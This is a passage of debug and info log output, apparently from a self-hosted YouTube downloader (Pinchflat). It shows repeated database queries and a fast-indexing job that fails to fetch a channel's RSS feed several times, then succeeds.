s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:27.876 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:23:27.975 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":98738,"event":"job:exception","queue_time":922039,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:23:52.903 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874232903439695,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:23:52.903 [debug] QUERY OK source="sources" db=0.0ms idle=1738.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:23:52.903 [debug] QUERY OK source="settings" db=0.0ms idle=1739.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:52.904 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:23:52.904 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:52.904 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:23:53.000 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96095,"event":"job:exception","queue_time":927634,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:23:55.825 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.117 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:24:24.937 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874264937215128,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:24:24.937 [debug] QUERY OK source="sources" db=0.0ms idle=1007.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:24:24.937 [debug] QUERY OK source="settings" db=0.0ms idle=772.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:24:24.937 [debug] QUERY OK source="media_profiles" db=0.0ms idle=772.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:24:24.937 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:24:24.937 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:24:25.034 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96138,"event":"job:exception","queue_time":936859,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:24:25.826 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:55.827 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.118 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:25:15.991 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874315991462952,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:25:15.991 [debug] QUERY OK source="sources" db=0.1ms idle=826.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:25:15.991 [debug] QUERY OK source="settings" db=0.0ms idle=826.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:25:15.992 [debug] QUERY OK source="media_profiles" db=0.0ms idle=826.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:25:15.992 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:25:15.992 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:25:16.091 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99445,"event":"job:exception","queue_time":957139,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:25:25.828 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:55.829 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.119 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:26:25.830 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:40.081 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874400081395370,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:26:40.081 [debug] QUERY OK source="sources" db=0.1ms idle=916.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:26:40.081 [debug] QUERY OK source="settings" db=0.0ms idle=917.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:26:40.082 [debug] QUERY OK source="media_profiles" db=0.0ms idle=917.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:26:40.082 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:26:40.082 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:26:40.177 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":94738,"event":"job:exception","queue_time":989612,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:26:55.831 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.120 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:27:25.832 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:55.833 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.121 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:28:25.834 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:55.835 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.122 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:29:14.243 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874554243427010,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:29:14.243 [debug] QUERY OK source="sources" db=0.0ms idle=1078.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:29:14.244 [debug] QUERY OK source="settings" db=0.1ms idle=1079.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:14.244 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:29:14.244 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:14.244 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:29:14.419 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175962,"event":"job:exception","queue_time":66340,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:29:25.837 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:55.838 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.123 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:30:25.839 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:55.840 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.124 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:31:25.842 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:55.843 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.125 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:32:25.844 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:55.845 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.125 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:33:25.846 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:52.559 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874832559435609,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:33:52.559 [debug] QUERY OK source="sources" db=0.1ms idle=1394.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:52.559 [debug] QUERY OK source="settings" db=0.0ms idle=1394.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:52.560 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:52.560 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:52.560 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:33:52.683 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:33:52.684 [debug] QUERY OK source="media_items" db=0.3ms idle=124.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:33:52.686 [debug] QUERY OK source="media_items" db=1.7ms idle=124.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:33:52.687 [debug] QUERY OK source="tasks" db=0.1ms idle=127.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [549, 3, ~U[2026-07-24 06:33:52Z], ~U[2026-07-24 06:33:52Z]] 06:33:52.688 [info] {"args":{"id":3},"id":548,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128435,"event":"job:stop","queue_time":139148,"attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:33:55.847 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.127 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:34:25.849 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:55.850 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.128 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:35:25.851 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:55.852 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.128 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:36:10.705 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784874970705424015,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:36:10.705 [debug] QUERY OK source="sources" db=0.1ms idle=1540.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 06:36:10.705 [debug] QUERY OK source="settings" db=0.0ms idle=1540.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:10.706 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:36:10.706 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:10.706 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 06:36:10.894 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188172,"event":"job:exception","queue_time":196198,"attempt":12,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:36:25.853 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:55.854 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.130 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:37:25.855 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:55.856 